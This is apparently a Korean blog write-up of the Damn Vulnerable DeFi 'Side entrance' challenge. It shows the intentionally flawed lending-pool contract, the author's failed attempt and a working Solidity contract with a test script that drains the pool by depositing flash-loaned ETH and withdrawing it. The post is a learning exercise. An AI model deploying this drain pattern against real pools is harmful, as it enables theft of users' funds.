[Damn Vulnerable DeFi] Side entrance

0xDave·2022년 10월 24일
0

Ethereum

목록 보기
52/112

Challenge #4


A surprisingly simple lending pool allows anyone to deposit ETH, and withdraw it at any point in time.

This very simple lending pool has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.

You must take all ETH from the lending pool.

풀에 있는 자금을 모두 탈취 할 것.

SideEntranceLenderPool.sol


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";

interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

/**
 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SideEntranceLenderPool {
    using Address for address payable;

    mapping (address => uint256) private balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amountToWithdraw = balances[msg.sender];
        balances[msg.sender] = 0;
        payable(msg.sender).sendValue(amountToWithdraw);
    }

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= amount, "Not enough ETH in balance");
        
        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");        
    }
}
 

해결 과정


fallback() 함수가 있는 컨트랙트를 만들어서 execute가 실행될 때마다 flashLoan을 계속 호출하면 되지 않을까?

첫 번째 시도

아래와 같이 컨트랙트를 짰다.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./SideEntranceLenderPool.sol";

contract SideAttack {
    SideEntranceLenderPool immutable pool;
    constructor(address _pool) {
        pool = SideEntranceLenderPool(_pool);
    }

    function attack() public {
        pool.flashLoan(100);
    }
    fallback() payable external{
        pool.flashLoan(100);
    }

    function withdraw(address _to) public pure {
        _to.call{value: 999 ether};
    }

}

js 부분은 아래처럼 컨트랙트를 디플로이하고 attack 함수와 withdraw를 호출했다.

  it("Exploit", async function () {
    /** CODE YOUR EXPLOIT HERE */
    const sideAttackFactory = await ethers.getContractFactory(
      "SideAttack",
      deployer
    );
    const sideAttackContract = await sideAttackFactory.deploy(
      this.pool.address
    );
    await sideAttackContract.attack();
    await sideAttackContract.withdraw(attacker.address);
  });

결과는 gas가 모두 소진되면서 revert. 찾아보니 gas를 다 소진하고 revert가 나면 모든 트랜젝션을 이전으로 되돌린다고 한다. 따라서 풀의 자금은 탈취되지 않았을 것이다.

두 번째 시도

try/catch 문을 사용하면 revert를 방지할 수 있다고 해서 써봤지만 문법이 안 맞는지 실패했다.

모범 답안

내가 했던 접근 방법이랑 완전 달랐다. 먼저 flashLoan을 호출하고 execute 함수를 만들어서 다시 풀에 deposit한다. 이후 flashLoan이 끝나면 attack 함수 내에서 자금을 인출하고, receive 함수를 이용해 attacker에게 자금을 송금한다. 매우 깔끔하다.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IPool {
    function deposit() external payable;
    function withdraw() external;
    function flashLoan(uint256 amount) external;
}

contract SideAttack {
    IPool immutable pool;
    address immutable attacker;
    constructor(address _pool) {
        pool = IPool(_pool);
        attacker = msg.sender;
    }

    function attack() public {
        pool.flashLoan(address(pool).balance);
        pool.withdraw();
    }
    
    function execute() payable external{
        pool.deposit{value: msg.value}();
    }

    receive() payable external {
        payable(attacker).call{value: address(this).balance};
    }

}

내가 생각지도 못 했던 방법이어서 많이 놀랐다. 약간 신선한 충격이었다. 이제 차이점을 정리해보자.

  1. interface를 활용했다. constructor를 통해 pool을 가져오는 것은 동일하다. 하지만 인터페이스를 활용하니 활용할 수 있는 함수가 정리되면서 조금 더 깔끔하게 코딩이 가능하다.

  2. fallback 함수를 이용해 Re-entrancy 공격을 하려고 했던 나와 달리, 공격을 한 번에 끝내는 방식으로 접근했다. flashLoan에 너무 집중했던 것이 패착이었다. 앞으로는 컨트랙트 내의 다른 함수를 활용하는 공격 방법도 고민해보자.

  3. IFlashLoanEtherReceiver(msg.sender).execute{value: amount}(); 이 부분에서 msg.sender가 IFlashLoanEtherReceiver 타입으로 변하면서 execute를 실행할 수 있다는 것에 초점을 맞췄어야 했다. 단순히 함수를 하나 더 실행해서 이더를 옮기는 것으로 해석해서 잘못된 방향으로 접근했다. 의미 없는 라인은 없으니 한 줄을 읽을 때 제대로 해석하자.


출처 및 참고자료


  1. Damn Vulnerable DEFI Side Entrance Exercise 4 Walkthrough and Solutions
profile
Just BUIDL :)

0개의 댓글